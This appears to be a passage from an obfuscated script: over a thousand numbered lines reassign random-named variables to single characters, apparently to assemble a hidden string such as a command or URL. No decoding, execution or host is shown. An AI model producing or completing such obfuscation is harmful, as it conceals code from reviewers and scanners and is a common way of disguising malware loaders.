287	odfwtgakb = "i";
288	odfwtgakb = "U";
289	odfwtgakb = "a";
290	odfwtgakb = "O";
291	odfwtgakb = "o";
292	odfwtgakb = "v";
293	odfwtgakb = "V";
294	odfwtgakb = "J";
295	odfwtgakb = "s";
296	odfwtgakb = "P";
297	odfwtgakb = "l";
298	odfwtgakb = "p";
299	fvhicmgmc = "r";
300	fvhicmgmc = "O";
301	fvhicmgmc = "m";
302	fvhicmgmc = "g";
303	fvhicmgmc = "q";
304	fvhicmgmc = "B";
305	fvhicmgmc = "q";
306	fvhicmgmc = "S";
307	fvhicmgmc = "u";
308	fvhicmgmc = "w";
309	fvhicmgmc = "z";
310	fvhicmgmc = "n";
311	fvhicmgmc = "n";
312	fvhicmgmc = "w";
313	fvhicmgmc = "s";
314	fvhicmgmc = "Z";
315	fvhicmgmc = "a";
316	fvhicmgmc = "K";
317	fvhicmgmc = "E";
318	fvhicmgmc = "S";
319	fvhicmgmc = "d";
320	fvhicmgmc = "Z";
321	fvhicmgmc = "O";
322	fvhicmgmc = "i";
323	fvhicmgmc = "E";
324	fvhicmgmc = "y";
325	fvhicmgmc = "o";
326	fvhicmgmc = "P";
327	fvhicmgmc = "m";
328	fvhicmgmc = "e";
329	fvhicmgmc = "J";
330	fvhicmgmc = "s";
331	rnutekynh = "k";
332	rnutekynh = "j";
333	rnutekynh = "n";
334	rnutekynh = "p";
335	rnutekynh = "O";
336	rnutekynh = "O";
337	rnutekynh = "M";
338	rnutekynh = "w";
339	rnutekynh = "w";
340	rnutekynh = "X";
341	rnutekynh = "E";
342	rnutekynh = "o";
343	rnutekynh = "P";
344	rnutekynh = "B";
345	rnutekynh = "w";
346	rnutekynh = "H";
347	rnutekynh = "d";
348	rnutekynh = "j";
349	rnutekynh = "l";
350	rnutekynh = "R";
351	rnutekynh = "U";
352	rnutekynh = "V";
353	rnutekynh = "O";
354	rnutekynh = "V";
355	rnutekynh = "B";
356	rnutekynh = "N";
357	rnutekynh = "H";
358	rnutekynh = "B";
359	rnutekynh = "R";
360	rnutekynh = "H";
361	rnutekynh = "L";
362	rnutekynh = "c";
363	nfjlgw = "f";
364	zkduwhgjw = "j";
365	zkduwhgjw = "B";
366	zkduwhgjw = "h";
367	zkduwhgjw = "G";
368	zkduwhgjw = "d";
369	zkduwhgjw = "A";
370	zkduwhgjw = "j";
371	zkduwhgjw = "L";
372	zkduwhgjw = "K";
373	zkduwhgjw = "r";
374	zkduwhgjw = "R";
375	zkduwhgjw = "w";
376	zkduwhgjw = "M";
377	zkduwhgjw = "y";
378	zkduwhgjw = "q";
379	zkduwhgjw = "n";
380	zkduwhgjw = "z";
381	zkduwhgjw = "j";
382	zkduwhgjw = "p";
383	zkduwhgjw = "A";
384	zkduwhgjw = "E";
385	zkduwhgjw = "h";
386	zkduwhgjw = "X";
387	zkduwhgjw = "q";
388	zkduwhgjw = "T";
389	zkduwhgjw = "K";
390	zkduwhgjw = "t";
391	zkduwhgjw = "F";
392	zkduwhgjw = "C";
393	zkduwhgjw = "q";
394	zkduwhgjw = "K";
395	zkduwhgjw = "a";
396	zkduwhgjw = "B";
397	zkduwhgjw = "M";
398	zkduwhgjw = "i";
399	zkduwhgjw = "f";
400	zkduwhgjw = "W";
401	zkduwhgjw = "j";
402	zkduwhgjw = "P";
403	zkduwhgjw = "I";
404	zkduwhgjw = "8";
405	gvedsuld = "s";
406	gvedsuld = "G";
407	gvedsuld = "Y";
408	gvedsuld = "q";
409	gvedsuld = "c";
410	gvedsuld = "L";
411	gvedsuld = "g";
412	gvedsuld = "t";
413	gvedsuld = "g";
414	gvedsuld = "f";
415	gvedsuld = "i";
416	gvedsuld = "n";
417	gvedsuld = "q";
418	gvedsuld = "F";
419	gvedsuld = "G";
420	gvedsuld = "D";
421	gvedsuld = "b";
422	gvedsuld = "d";
423	gvedsuld = "B";
424	gvedsuld = "A";
425	gvedsuld = "O";
426	gvedsuld = "m";
427	gvedsuld = "V";
428	gvedsuld = "b";
429	gvedsuld = "w";
430	gvedsuld = "i";
431	gvedsuld = "v";
432	gvedsuld = "c";
433	gvedsuld = "R";
434	gvedsuld = "t";
435	gvedsuld = "f";
436	gvedsuld = "e";
437	gvedsuld = "V";
438	gvedsuld = "Q";
439	gvedsuld = "K";
440	gvedsuld = "i";
441	gvedsuld = "D";
442	gvedsuld = "I";
443	gvedsuld = "j";
444	gvedsuld = "X";
445	gvedsuld = "T";
446	pwdxy = "m";
447	pwdxy = "L";
448	pwdxy = "Y";
449	pwdxy = "X";
450	pwdxy = "N";
451	pwdxy = "E";
452	pwdxy = "K";
453	pwdxy = "n";
454	pwdxy = "j";
455	pwdxy = "u";
456	pwdxy = "h";
457	pwdxy = "R";
458	pwdxy = "t";
459	pwdxy = "z";
460	pwdxy = "y";
461	pwdxy = "N";
462	pwdxy = "S";
463	pwdxy = "F";
464	pwdxy = "O";
465	pwdxy = "J";
466	pwdxy = "B";
467	pwdxy = "p";
468	pwdxy = "A";
469	pwdxy = "x";
470	pwdxy = "k";
471	pwdxy = "U";
472	pwdxy = "s";
473	pwdxy = "T";
474	pwdxy = "J";
475	pwdxy = "d";
476	pwdxy = "s";
477	pwdxy = "N";
478	pwdxy = "o";
479	pwdxy = "M";
480	pwdxy = "e";
481	pwdxy = "t";
482	pwdxy = "n";
483	pwdxy = "Q";
484	pwdxy = "b";
485	pwdxy = "k";
486	pwdxy = "T";
487	pwdxy = ":";
488	ypgkjzyi = "n";
489	ypgkjzyi = "p";
490	ypgkjzyi = "g";
491	ypgkjzyi = "d";
492	ypgkjzyi = "U";
493	ypgkjzyi = "P";
494	ypgkjzyi = "b";
495	ypgkjzyi = "W";
496	ypgkjzyi = "b";
497	ypgkjzyi = "Q";
498	ypgkjzyi = "a";
499	ypgkjzyi = "f";
500	ypgkjzyi = "Y";
501	ypgkjzyi = "C";
502	ypgkjzyi = "e";
503	ypgkjzyi = "t";
504	ypgkjzyi = "J";
505	ypgkjzyi = "x";
506	ypgkjzyi = "A";
507	ypgkjzyi = "g";
508	mwookog = "Q";
509	mwookog = "y";
510	mwookog = "J";
511	mwookog = "H";
512	mwookog = "u";
513	mwookog = "y";
514	mwookog = "J";
515	mwookog = "l";
516	mwookog = "F";
517	mwookog = "s";
518	mwookog = "d";
519	mwookog = "h";
520	mwookog = "k";
521	mwookog = "x";
522	mwookog = "S";
523	mwookog = "Q";
524	mwookog = "h";
525	mwookog = "c";
526	mwookog = "g";
527	mwookog = "Y";
528	mwookog = "Q";
529	mwookog = "k";
530	mwookog = "Y";
531	mwookog = "r";
532	mwookog = "X";
533	mwookog = "B";
534	mwookog = "v";
535	mwookog = "b";
536	mwookog = "p";
537	mwookog = "l";
538	mwookog = "n";
539	mwookog = "a";
540	mwookog = "P";
541	mwookog = "Q";
542	mwookog = "J";
543	mwookog = "i";
544	mwookog = "h";
545	mwookog = "T";
546	mwookog = "X";
547	mwookog = "g";
548	mwookog = "2";
549	afgolg = "g";
550	afgolg = "t";
551	afgolg = "t";
552	afgolg = "z";
553	afgolg = "o";
554	afgolg = "M";
555	afgolg = "P";
556	afgolg = "c";
557	afgolg = "B";
558	afgolg = "J";
559	afgolg = "K";
560	afgolg = "k";
561	afgolg = "T";
562	afgolg = "T";
563	afgolg = "I";
564	afgolg = "w";
565	afgolg = "N";
566	afgolg = "N";
567	ukywnukfs = "m";
568	ukywnukfs = "P";
569	ukywnukfs = "i";
570	ukywnukfs = "S";
571	ukywnukfs = "d";
572	ukywnukfs = "i";
573	ukywnukfs = "J";
574	ukywnukfs = "G";
575	ukywnukfs = "W";
576	ukywnukfs = "d";
577	ukywnukfs = "f";
578	ukywnukfs = "F";
579	ukywnukfs = "a";
580	ukywnukfs = "l";
581	ukywnukfs = "q";
582	ukywnukfs = "f";
583	ukywnukfs = "k";
584	ukywnukfs = "A";
585	ukywnukfs = "r";
586	ukywnukfs = "H";
587	ukywnukfs = "d";
588	ukywnukfs = "W";
589	ukywnukfs = "R";
590	ukywnukfs = "D";
591	ukywnukfs = "J";
592	ukywnukfs = "H";
593	ukywnukfs = "S";
594	ukywnukfs = "c";
595	ukywnukfs = "X";
596	ukywnukfs = "b";
597	ukywnukfs = "P";
598	ukywnukfs = "H";
599	ukywnukfs = "t";
600	ukywnukfs = "p";
601	ukywnukfs = "p";
602	ukywnukfs = "l";
603	ukywnukfs = "M";
604	ukywnukfs = "X";
605	ukywnukfs = "I";
606	ukywnukfs = "3";
607	bedxdhwdk = "c";
608	bedxdhwdk = "Q";
609	bedxdhwdk = "t";
610	bedxdhwdk = "g";
611	bedxdhwdk = "c";
612	bedxdhwdk = "S";
613	bedxdhwdk = "5";
614	wcbxz = "E";
615	wcbxz = "f";
616	wcbxz = "c";
617	wcbxz = "j";
618	wcbxz = "f";
619	wcbxz = "D";
620	wcbxz = "f";
621	wcbxz = "L";
622	wcbxz = "c";
623	wcbxz = "X";
624	wcbxz = "o";
625	wcbxz = "W";
626	wcbxz = "C";
627	wcbxz = "O";
628	kuhks = "C";
629	kuhks = "Q";
630	kuhks = "n";
631	kuhks = "s";
632	kuhks = "L";
633	kuhks = "X";
634	kuhks = "b";
635	kuhks = "u";
636	kuhks = "Q";
637	kuhks = "G";
638	kuhks = "d";
639	kuhks = "Q";
640	kuhks = "e";
641	kuhks = "d";
642	kuhks = "V";
643	kuhks = "r";
644	kuhks = "E";
645	kuhks = "y";
646	kuhks = "i";
647	kuhks = "V";
648	kuhks = "D";
649	kuhks = "e";
650	kuhks = "E";
651	kuhks = "p";
652	kuhks = "s";
653	kuhks = "g";
654	kuhks = "Z";
655	kuhks = "x";
656	kuhks = "V";
657	kuhks = "F";
658	kuhks = "h";
659	kuhks = "N";
660	kuhks = "-";
661	fydowyqln = "%";
662	fjnld = "q";
663	fjnld = "q";
664	fjnld = "r";
665	fjnld = "n";
666	fjnld = "q";
667	fjnld = "Y";
668	fjnld = "O";
669	fjnld = "f";
670	fjnld = "J";
671	fjnld = "R";
672	fjnld = "B";
673	fjnld = "e";
674	fjnld = "N";
675	fjnld = "A";
676	fjnld = "x";
677	fjnld = "l";
678	fjnld = "W";
679	fjnld = "k";
680	fjnld = "O";
681	fjnld = "q";
682	fjnld = "S";
683	fjnld = "R";
684	fjnld = "F";
685	fjnld = "Z";
686	fjnld = "q";
687	fjnld = "C";
688	fjnld = "S";
689	fjnld = "c";
690	fjnld = "n";
691	fjnld = "H";
692	fjnld = "W";
693	fjnld = "e";
694	fjnld = "d";
695	fjnld = "r";
696	fjnld = "f";
697	fjnld = "D";
698	fjnld = "e";
699	fjnld = "J";
700	fjnld = "e";
701	fjnld = "P";
702	fjnld = "m";
703	fjnld = "D";
704	fjnld = "O";
705	fjnld = "F";
706	luoxpeqv = "d";
707	luoxpeqv = "j";
708	luoxpeqv = "D";
709	luoxpeqv = "p";
710	luoxpeqv = "C";
711	luoxpeqv = "m";
712	luoxpeqv = "O";
713	luoxpeqv = "E";
714	luoxpeqv = "k";
715	luoxpeqv = "c";
716	luoxpeqv = "y";
717	luoxpeqv = "l";
718	luoxpeqv = "m";
719	luoxpeqv = "A";
720	luoxpeqv = "a";
721	luoxpeqv = "e";
722	luoxpeqv = "X";
723	luoxpeqv = "E";
724	luoxpeqv = "y";
725	luoxpeqv = "V";
726	luoxpeqv = "J";
727	luoxpeqv = "L";
728	luoxpeqv = "q";
729	luoxpeqv = "j";
730	luoxpeqv = "D";
731	luoxpeqv = "W";
732	luoxpeqv = "X";
733	luoxpeqv = "p";
734	luoxpeqv = "e";
735	luoxpeqv = "B";
736	luoxpeqv = "p";
737	luoxpeqv = "q";
738	luoxpeqv = "6";
739	lypzpasgh = "r";
740	lypzpasgh = "v";
741	lypzpasgh = "g";
742	lypzpasgh = "B";
743	lypzpasgh = "T";
744	lypzpasgh = "Q";
745	lypzpasgh = "y";
746	lypzpasgh = "E";
747	lypzpasgh = "U";
748	lypzpasgh = "V";
749	lypzpasgh = "g";
750	lypzpasgh = "c";
751	lypzpasgh = "h";
752	lypzpasgh = "M";
753	lypzpasgh = "i";
754	lypzpasgh = "I";
755	lypzpasgh = "H";
756	lypzpasgh = "F";
757	lypzpasgh = "X";
758	lypzpasgh = "t";
759	fnofyfb = "N";
760	fnofyfb = "b";
761	aliakf = "M";
762	aliakf = "s";
763	aliakf = "G";
764	aliakf = "Y";
765	aliakf = "L";
766	aliakf = "s";
767	aliakf = "\"";
768	ezatjtq = "H";
769	ezatjtq = "G";
770	ezatjtq = "D";
771	ezatjtq = "Y";
772	ezatjtq = "f";
773	ezatjtq = "q";
774	ezatjtq = "p";
775	ezatjtq = "C";
776	ezatjtq = "J";
777	ezatjtq = "k";
778	ezatjtq = "T";
779	ezatjtq = "a";
780	ezatjtq = "z";
781	ezatjtq = "F";
782	ezatjtq = "I";
783	ezatjtq = "g";
784	ezatjtq = "c";
785	ezatjtq = "l";
786	ezatjtq = "M";
787	ezatjtq = "k";
788	ezatjtq = "M";
789	ezatjtq = "Q";
790	ezatjtq = "e";
791	ezatjtq = "O";
792	ezatjtq = "F";
793	ezatjtq = "h";
794	ezatjtq = "b";
795	ezatjtq = "J";
796	ezatjtq = "W";
797	ezatjtq = "G";
798	ezatjtq = "u";
799	ezatjtq = "V";
800	ezatjtq = "F";
801	ezatjtq = "L";
802	ezatjtq = "R";
803	ezatjtq = "I";
804	ezatjtq = "o";
805	ezatjtq = "o";
806	ezatjtq = "O";
807	ezatjtq = "l";
808	ezatjtq = "o";
809	xgqubmysa = "d";
810	xgqubmysa = "U";
811	xgqubmysa = "l";
812	xgqubmysa = "c";
813	xgqubmysa = "e";
814	xgqubmysa = "V";
815	xgqubmysa = "z";
816	xgqubmysa = "x";
817	xgqubmysa = "Y";
818	xgqubmysa = "a";
819	xgqubmysa = "u";
820	xgqubmysa = "V";
821	xgqubmysa = "P";
822	xgqubmysa = "h";
823	xgqubmysa = "t";
824	xgqubmysa = "z";
825	xgqubmysa = "j";
826	xgqubmysa = "J";
827	xgqubmysa = "H";
828	xgqubmysa = "q";
829	xgqubmysa = "Y";
830	xgqubmysa = "E";
831	xgqubmysa = "S";
832	xgqubmysa = "b";
833	xgqubmysa = "V";
834	xgqubmysa = "y";
835	xgqubmysa = "O";
836	xgqubmysa = "K";
837	xgqubmysa = "A";
838	xgqubmysa = "h";
839	xgqubmysa = "c";
840	xgqubmysa = "R";
841	xgqubmysa = "A";
842	xgqubmysa = "k";
843	xgqubmysa = "U";
844	xgqubmysa = "h";
845	kdunolgkk = "M";
846	kdunolgkk = "z";
847	kdunolgkk = "y";
848	kdunolgkk = "k";
849	kdunolgkk = "T";
850	kdunolgkk = "y";
851	kdunolgkk = "c";
852	kdunolgkk = "Z";
853	kdunolgkk = "e";
854	kdunolgkk = "e";
855	kdunolgkk = "e";
856	kdunolgkk = "G";
857	kdunolgkk = "G";
858	kdunolgkk = "H";
859	kdunolgkk = "P";
860	kdunolgkk = "&";
861	mlfrme = "I";
862	mlfrme = "r";
863	mlfrme = "v";
864	mlfrme = "A";
865	mlfrme = "W";
866	mlfrme = "P";
867	mlfrme = "E";
868	mlfrme = "G";
869	mlfrme = "p";
870	mlfrme = "M";
871	mlfrme = "W";
872	mlfrme = "b";
873	mlfrme = "D";
874	mlfrme = "l";
875	mlfrme = "@";
876	pyaeeu = "O";
877	pyaeeu = "x";
878	pyaeeu = "d";
879	pyaeeu = "Z";
880	pyaeeu = "k";
881	pyaeeu = "Y";
882	pyaeeu = "d";
883	pyaeeu = "p";
884	pyaeeu = "Z";
885	pyaeeu = "d";
886	pyaeeu = "i";
887	pyaeeu = "D";
888	pyaeeu = "e";
889	pyaeeu = "I";
890	pyaeeu = "I";
891	pyaeeu = "v";
892	pyaeeu = "j";
893	pyaeeu = "w";
894	pyaeeu = "p";
895	pyaeeu = "W";
896	pyaeeu = "q";
897	uipucawxa = "k";
898	uipucawxa = "s";
899	uipucawxa = "n";
900	uipucawxa = "m";
901	uipucawxa = "d";
902	uipucawxa = "h";
903	uipucawxa = "T";
904	uipucawxa = "y";
905	uipucawxa = "G";
906	uipucawxa = "Z";
907	uipucawxa = "f";
908	uipucawxa = "j";
909	uipucawxa = "a";
910	uipucawxa = "n";
911	uipucawxa = "e";
912	uipucawxa = "x";
913	gvflkxp = "u";
914	gvflkxp = "h";
915	gvflkxp = "R";
916	gvflkxp = "P";
917	gvflkxp = "f";
918	gvflkxp = "O";
919	gvflkxp = "e";
920	gvflkxp = "F";
921	gvflkxp = "o";
922	gvflkxp = "j";
923	gvflkxp = "A";
924	gvflkxp = "S";
925	gvflkxp = "m";
926	gvflkxp = "O";
927	gvflkxp = "i";
928	gvflkxp = "o";
929	gvflkxp = "m";
930	gvflkxp = "F";
931	gvflkxp = "c";
932	gvflkxp = "n";
933	gvflkxp = "f";
934	gvflkxp = "l";
935	gvflkxp = "d";
936	gvflkxp = "e";
937	gvflkxp = "m";
938	gvflkxp = "m";
939	gvflkxp = "k";
940	gvflkxp = "L";
941	sgdlo = "Y";
942	sgdlo = "J";
943	sgdlo = "Y";
944	sgdlo = "j";
945	sgdlo = "k";
946	sgdlo = "i";
947	sgdlo = "R";
948	sgdlo = "Y";
949	sgdlo = "p";
950	sgdlo = "C";
951	sgdlo = "T";
952	sgdlo = "L";
953	sgdlo = "k";
954	sgdlo = "v";
955	sgdlo = "U";
956	sgdlo = "h";
957	sgdlo = "L";
958	sgdlo = "x";
959	sgdlo = "O";
960	sgdlo = "h";
961	sgdlo = "m";
962	sgdlo = "c";
963	sgdlo = "z";
964	sgdlo = "Q";
965	sgdlo = "o";
966	sgdlo = "F";
967	sgdlo = "w";
968	sgdlo = "v";
969	sgdlo = "o";
970	sgdlo = "A";
971	sgdlo = "q";
972	sgdlo = "h";
973	sgdlo = "Q";
974	sgdlo = "R";
975	sgdlo = "Z";
976	sgdlo = "A";
977	sgdlo = "F";
978	sgdlo = "l";
979	sgdlo = "v";
980	sgdlo = "U";
981	sgdlo = "\\";
982	zrdpapig = "a";
983	zrdpapig = "i";
984	zrdpapig = "k";
985	xonix = "_";
986	zswwvb = "k";
987	zswwvb = "k";
988	zswwvb = "o";
989	zswwvb = "e";
990	zswwvb = "e";
991	zswwvb = "Q";
992	zswwvb = "m";
993	zswwvb = "z";
994	zswwvb = "e";
995	zswwvb = "U";
996	zswwvb = "T";
997	zswwvb = "B";
998	zswwvb = "k";
999	zswwvb = "i";
1000	zswwvb = "x";
1001	zswwvb = "F";
1002	zswwvb = "h";
1003	zswwvb = "Y";
1004	zswwvb = "z";
1005	zswwvb = "m";
1006	zswwvb = "S";
1007	zswwvb = "Q";
1008	zswwvb = "e";
1009	zswwvb = "j";
1010	zswwvb = "T";
1011	zswwvb = "R";
1012	zswwvb = "O";
1013	zswwvb = "J";
1014	zswwvb = "d";
1015	zswwvb = "O";
1016	zswwvb = "Q";
1017	zswwvb = "a";
1018	dyecuonix = "P";
1019	dyecuonix = "u";
1020	dyecuonix = "A";
1021	dyecuonix = "i";
1022	sqopn = "g";
1023	sqopn = "a";
1024	sqopn = "H";
1025	sqopn = "f";
1026	sqopn = "T";
1027	sqopn = "j";
1028	sqopn = "o";
1029	sqopn = "w";
1030	sqopn = "y";
1031	sqopn = "V";
1032	sqopn = "D";
1033	sqopn = "L";
1034	sqopn = "D";
1035	sqopn = "V";
1036	sqopn = "r";
1037	sqopn = "s";
1038	sqopn = "y";
1039	sqopn = "o";
1040	sqopn = "l";
1041	sqopn = "E";
1042	sqopn = "t";
1043	sqopn = "e";
1044	sqopn = "w";
1045	sqopn = "o";
1046	sqopn = "B";
1047	sqopn = "H";
1048	sqopn = "K";
1049	sqopn = "d";
1050	sqopn = "P";
1051	sqopn = "y";
1052	sqopn = "h";
1053	sqopn = "g";
1054	sqopn = "Q";
1055	sqopn = "w";
1056	aawiltsqz = "A";
1057	aawiltsqz = "g";
1058	aawiltsqz = "n";
1059	aawiltsqz = "J";
1060	aawiltsqz = "j";
1061	aawiltsqz = "n";
1062	aawiltsqz = "M";
1063	aawiltsqz = "l";
1064	aawiltsqz = "R";
1065	aawiltsqz = "i";
1066	aawiltsqz = "i";
1067	aawiltsqz = "W";
1068	aawiltsqz = "X";
1069	aawiltsqz = "d";
1070	aawiltsqz = "j";
1071	aawiltsqz = "1";
1072	qhktlke = "a";
1073	qhktlke = "D";
1074	qhktlke = "P";
1075	qhktlke = "A";
1076	qhktlke = "I";
1077	qhktlke = "v";
1078	qhktlke = "W";
1079	qhktlke = "A";
1080	qhktlke = "j";
1081	qhktlke = "A";
1082	qhktlke = "G";
1083	qhktlke = "V";
1084	qhktlke = "E";
1085	qhktlke = "s";
1086	qhktlke = "q";
1087	qhktlke = "I";
1088	qhktlke = "V";
1089	qhktlke = "H";
1090	qhktlke = "y";
1091	qhktlke = "t";
1092	qhktlke = "n";
1093	qhktlke = "Y";
1094	qhktlke = "F";
1095	qhktlke = "V";
1096	qhktlke = "D";
1097	qhktlke = "k";
1098	qhktlke = "D";
1099	qhktlke = "q";
1100	qhktlke = "l";
1101	qhktlke = "d";
1102	ezecp = "L";
1103	ezecp = "F";
1104	ezecp = "U";
1105	ezecp = "C";
1106	ezecp = "Y";
1107	ezecp = "K";
1108	ziyvv = "m";
1109	ziyvv = "p";
1110	ziyvv = "b";
1111	ziyvv = "R";
1112	ziyvv = "Q";
1113	ziyvv = "k";
1114	ziyvv = "u";
1115	ziyvv = "M";
1116	ziyvv = "T";
1117	ziyvv = "W";
1118	ziyvv = "D";
1119	ziyvv = "h";
1120	ziyvv = "Q";
1121	ziyvv = "e";
1122	ziyvv = "o";
1123	ziyvv = "e";
1124	ziyvv = "o";
1125	ziyvv = "g";
1126	ziyvv = "U";
1127	ziyvv = "4";
1128	fctfhvhez = "z";
1129	fctfhvhez = "R";
1130	fctfhvhez = "H";
1131	fctfhvhez = "j";
1132	fctfhvhez = "U";
1133	fctfhvhez = "q";
1134	fctfhvhez = "S";
1135	fctfhvhez = "v";
1136	fctfhvhez = "n";
1137	fctfhvhez = "L";
1138	fctfhvhez = "B";
1139	fctfhvhez = "g";
1140	fctfhvhez = "M";
1141	fctfhvhez = "T";
1142	fctfhvhez = "c";
1143	fctfhvhez = "X";
1144	fctfhvhez = "n";
1145	fctfhvhez = "b";
1146	fctfhvhez = "k";
1147	fctfhvhez = "O";
1148	fctfhvhez = "C";
1149	fctfhvhez = "B";
1150	fctfhvhez = "a";
1151	fctfhvhez = "T";
1152	fctfhvhez = "v";
1153	fctfhvhez = "g";
1154	fctfhvhez = "r";
1155	fctfhvhez = "v";
1156	fctfhvhez = "k";
1157	fctfhvhez = "o";
1158	fctfhvhez = "P";
1159	fctfhvhez = "K";
1160	fctfhvhez = "N";
1161	fctfhvhez = "C";
1162	fctfhvhez = "v";
1163	fctfhvhez = "d";
1164	fctfhvhez = "w";
1165	fctfhvhez = "a";
1166	fctfhvhez = "S";
1167	fctfhvhez = "A";
1168	fctfhvhez = "o";
1169	fctfhvhez = "v";
1170	fctfhvhez = "I";
1171	mwzxxiv = "S";
1172	mwzxxiv = "W";
1173	mwzxxiv = "S";
1174	mwzxxiv = "X";
1175	mwzxxiv = "t";
1176	mwzxxiv = "x";
1177	mwzxxiv = "z";
1178	mwzxxiv = "k";
1179	mwzxxiv = "X";
1180	mwzxxiv = "n";
1181	mwzxxiv = "K";
1182	mwzxxiv = "B";
1183	mwzxxiv = "Z";
1184	mwzxxiv = "k";
1185	mwzxxiv = "j";
1186	mwzxxiv = "q";
1187	mwzxxiv = "V";
1188	mwzxxiv = "i";
1189	mwzxxiv = "x";
1190	mwzxxiv = "y";
1191	mwzxxiv = "q";
1192	mwzxxiv = "h";
1193	mwzxxiv = "m";
1194	mwzxxiv = "u";
1195	mwzxxiv = "Z";
1196	mwzxxiv = "w";
1197	mwzxxiv = "r";
1198	mwzxxiv = "v";
1199	mwzxxiv = "v";
1200	mwzxxiv = "v";
1201	mwzxxiv = "X";
1202	mwzxxiv = "t";
1203	mwzxxiv = "U";
1204	mwzxxiv = "G";
1205	mwzxxiv = "g";
1206	mwzxxiv = "P";
1207	mwzxxiv = "v";
1208	mwzxxiv = "x";
1209	mwzxxiv = "j";
1210	mwzxxiv = "j";
1211	mwzxxiv = "q";
1212	mwzxxiv = "j";
1213	mwzxxiv = "c";
1214	mwzxxiv = "X";
1215	mwzxxiv = "r";
1216	wintmdm = "0";
1217	xkvjtur = "D";
1218	xkvjtur = "W";
1219	xkvjtur = "s";
1220	xkvjtur = "d";
1221	xkvjtur = "i";
1222	xkvjtur = "Q";
1223	xkvjtur = "p";
1224	xkvjtur = "M";
1225	xkvjtur = "Q";
1226	xkvjtur = "X";
1227	xkvjtur = "W";
1228	xkvjtur = "x";
1229	xkvjtur = "o";
1230	xkvjtur = "l";
1231	xkvjtur = "k";
1232	xkvjtur = "s";
1233	xkvjtur = "D";
1234	xkvjtur = "O";
1235	xkvjtur = "k";
1236	xkvjtur = "J";
1237	xkvjtur = "f";
1238	xkvjtur = "O";
1239	xkvjtur = "R";
1240	xkvjtur = "C";
1241	xkvjtur = "p";
1242	xkvjtur = "s";
1243	xkvjtur = "O";
1244	xkvjtur = "D";
1245	xkvjtur = "S";
1246	xkvjtur = "K";
1247	xkvjtur = "g";
1248	xkvjtur = "F";
1249	xkvjtur = "s";
1250	xkvjtur = "K";
1251	xkvjtur = "M";
1252	xkvjtur = "h";
1253	xkvjtur = "O";
1254	xkvjtur = "b";
1255	xkvjtur = "m";
1256	vrkopz = "M";
1257	vrkopz = "B";
1258	vrkopz = "E";
1259	vrkopz = "c";
1260	vrkopz = "Q";
1261	vrkopz = "R";
1262	vrkopz = "y";
1263	vrkopz = "g";
1264	vrkopz = "x";
1265	vrkopz = "O";
1266	vrkopz = "f";
1267	vrkopz = "g";
1268	vrkopz = "w";
1269	vrkopz = "y";
1270	vrkopz = "y";
1271	vrkopz = "h";
1272	vrkopz = "T";
1273	vrkopz = "z";
1274	vrkopz = "Z";
1275	vrkopz = "i";
1276	vrkopz = "l";
1277	vrkopz = "h";
1278	vrkopz = "V";
1279	vrkopz = "G";
1280	vrkopz = "U";
1281	vrkopz = "B";
1282	vrkopz = "L";
1283	vrkopz = "J";
1284	vrkopz = "/";
1285	vqzkkjrjh = "g";
1286	vqzkkjrjh = "A";
1287	vqzkkjrjh = "i";
1288	vqzkkjrjh = "u";
1289	vqzkkjrjh = "S";
1290	vqzkkjrjh = "f";
1291	vqzkkjrjh = "I";
1292	vqzkkjrjh = "z";
1293	vqzkkjrjh = "a";
1294	vqzkkjrjh = "i";
1295	vqzkkjrjh = "g";
1296	vqzkkjrjh = "W";
1297	vqzkkjrjh = "I";
1298	vqzkkjrjh = "n";
1299	vqzkkjrjh = "j";
1300	vqzkkjrjh = "J";
1301	vqzkkjrjh = "n";
1302	vqzkkjrjh = "w";
1303	vqzkkjrjh = "S";
1304	vqzkkjrjh = "m";
1305	vqzkkjrjh = "g";
1306	vqzkkjrjh = "V";
1307	vqzkkjrjh = "t";
1308	vqzkkjrjh = "w";
1309	vqzkkjrjh = "M";
1310	vqzkkjrjh = "K";
1311	vqzkkjrjh = "s";
1312	vqzkkjrjh = "K";
1313	vqzkkjrjh = "u";
1314	vqzkkjrjh = "p";
1315	vqzkkjrjh = "E";
1316	vqzkkjrjh = "f";
1317	vqzkkjrjh = "p";
1318	vqzkkjrjh = "O";
1319	vqzkkjrjh = "y";
1320	vqzkkjrjh = "X";
1321	vqzkkjrjh = "t";
1322	vqzkkjrjh = "A";
1323	vqzkkjrjh = "C";
1324	juxoceh = "G";
1325	juxoceh = "v";
1326	juxoceh = "D";
1327	juxoceh = "a";
1328	juxoceh = "F";
1329	juxoceh = "J";
1330	juxoceh = "E";
1331	juxoceh = "h";
1332	juxoceh = "D";
1333	juxoceh = "g";
1334	juxoceh = "j";
1335	juxoceh = "F";
1336	juxoceh = "A";
1337	juxoceh = "W";
1338	juxoceh = "g";
1339	juxoceh = "X";
1340	juxoceh = "r";
1341	juxoceh = "y";
1342	juxoceh = "E";
1343	juxoceh = "j";
1344	juxoceh = "e";
1345	juxoceh = "B";
1346	juxoceh = "H";
1347	juxoceh = "t";
1348	juxoceh = "K";
1349	juxoceh = "n";
1350	juxoceh = "B";
1351	juxoceh = "h";
1352	juxoceh = "A";
1353	juxoceh = "Z";
1354	juxoceh = ".";
1355	payyhtt = "x";
1356	payyhtt = "v";
1357	payyhtt = "T";
1358	payyhtt = "f";
1359	payyhtt = "S";
1360	payyhtt = "Y";
1361	payyhtt = "c";
1362	payyhtt = "D";
1363	payyhtt = "S";
1364	payyhtt = " ";
1365	nxxlpui = "H";
1366	nxxlpui = "T";
1367	nxxlpui = "x";
1368	nxxlpui = "B";
1369	nxxlpui = "V";
1370	nxxlpui = "A";
1371	nxxlpui = "r";
1372	nxxlpui = "Z";
1373	nxxlpui = "j";
1374	nxxlpui = "K";
1375	nxxlpui = "V";
1376	nxxlpui = "a";
1377	nxxlpui = "E";
1378	nxxlpui = "x";
1379	nxxlpui = "x";
1380	nxxlpui = "v";
1381	mkrliju = "b";
1382	mkrliju = "t";
1383	mkrliju = "j";
1384	mkrliju = "G";
1385	mkrliju = "l";
1386	mkrliju = "N";
1387	mkrliju = "L";
1388	mkrliju = "W";
1389	mkrliju = "K";
1390	mkrliju = "O";
1391	mkrliju = "E";
1392	mkrliju = "a";
1393	mkrliju = "T";
1394	mkrliju = "V";
1395	mkrliju = "a";
1396	mkrliju = "X";
1397	mkrliju = "l";
1398	mkrliju = "M";
1399	mkrliju = "l";
1400	mkrliju = "B";
1401	mkrliju = "n";
1402	mkrliju = "s";
1403	mkrliju = "I";
1404	mkrliju = "X";
1405	mkrliju = "S";
1406	mkrliju = "Q";
1407	mkrliju = "c";
1408	mkrliju = "X";
1409	mkrliju = "v";
1410	mkrliju = "L";
